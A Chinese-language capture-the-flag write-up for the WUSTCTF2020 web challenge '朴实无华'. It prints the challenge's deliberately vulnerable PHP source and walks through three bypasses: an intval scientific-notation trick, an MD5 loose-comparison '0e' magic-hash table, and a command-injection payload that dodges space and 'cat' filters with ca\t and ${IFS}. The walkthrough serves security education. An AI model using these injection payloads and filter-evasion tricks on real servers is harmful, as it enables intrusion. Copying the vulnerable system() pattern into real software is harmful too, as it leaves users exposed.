[WUSTCTF2020]朴实无华(特详解)

一开始说header出问题了

就先dirsaerch扫一遍

发现robot.txt

访问一下

去看看,好好好,肯定不是得

他一开始说header有问题,不妨抓包看看,果然有东西

访问看看,乱码修复一下,在之前的博客到过

复制代码
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
​
​
//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}
​
//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

很明显要绕过三次

先看第一个

要求num小于2020,且num+1大于2021.

用到:intval 绕过

这个函数是强制转换为int类型。

进行加 1 时会先将$a的科学计数法解析然后再加 1 。也就是说我们传入 12e3 第一次intval会为12 ,+1后会取得12001那么我们成功绕过了。

首先先看一下这个

复制代码
<?php
echo '3e3' ; 
?> 
//结果为3e3 
<?php 
echo '3e3'  + 1; 
?> 
//结果为3001

这是因为在第一个 echo 语句中,'3e3' 被视为字符串,因此会直接输出其内容 '3e3'。而在第二个语句中,虽然 '3e3' 被当作字符串,但由于与数字相加,PHP 尝试将其转换为数字。在这种情况下,它将 '3e3' 解释为科学记数法,表示 3 乘以 10 的 3 次方,即 3000,然后再加上 1,所以结果为 3001。

因此

复制代码
<?php
$a="4e3";
echo intval($a);
?>
// 4   字符串部分没有转换
<?php
$a="3e4";
echo intval($a+1);
?>
//4001

因为是get传参数,会自动套上" ",所以我们传参3e3就是字符串"3e3"

复制代码
num=3e3

第二个绕过

要求我们上传的md5==md5(md5),注意这里是弱比较

==弱类型比较中,字符'0e123'和字符'0e456'虽然是字符类型,但是因为==比较不比较数据类型,只比较值,而值就是科学计数法的表示格式,结果都是0,所以相等,返回true ===强类型比较中,字符'0e123'和字符'0e456'在比较数据类型的时候就被当作字符类型,而字符'0e123'和字符'0e456'当然不相等,所以返回false

Plaintext MD5 Hash
0e215962017 0e291242476940776845150308577824
0e1284838308 0e708279691820928818722257405159
0e1137126905 0e291659922323405260514745084877
0e807097110 0e318093639164485566453180786895
0e730083352 0e870635875304277170259950255928

那么只要MD5前后都是0e开头就行了

MD5绕过参考的这位师傅浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题_哈希连接 不比较-CSDN博客

第三个绕过

就是过滤了空格和cat, wctf2020

好在都可以被替换

代替cat: more、less、head、tail、sort、ca\t

代替空格:IFS、{IFS}、IFS1、IFS9

先ls看看

直接上

复制代码
?num=3e3&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

结束了

相关推荐
朱颜辞镜花辞树‎10 分钟前
关于 Linux 内存管理
linux
reduceanxiety42 分钟前
第四章 Linux实用操作
linux·运维·服务器
LilyCoder2 小时前
HTML5二十四节气网站源码
前端·javascript·html·html5
Bruce_Liuxiaowei2 小时前
跨站脚本攻击(XSS)高级绕过技术与防御方案
前端·网络安全·xss
獭.獭.2 小时前
Linux -- 文件【下】
linux·服务器·文件系统·软硬链接·inode·ext2
破刺不会编程4 小时前
socket编程UDP
linux·运维·服务器·网络·c++·网络协议·udp
NEXU511 小时前
Linux:套接字
linux·服务器·网络
morliz子轩12 小时前
基于WSL搭建Ubuntu 22.04.x LTS开发环境
linux·运维·ubuntu
Janspran12 小时前
嵌入式linux学习 -- 进程和线程
linux·运维·学习
Cosmoshhhyyy13 小时前
linux远程部署dify和mac本地部署dify
linux·运维·macos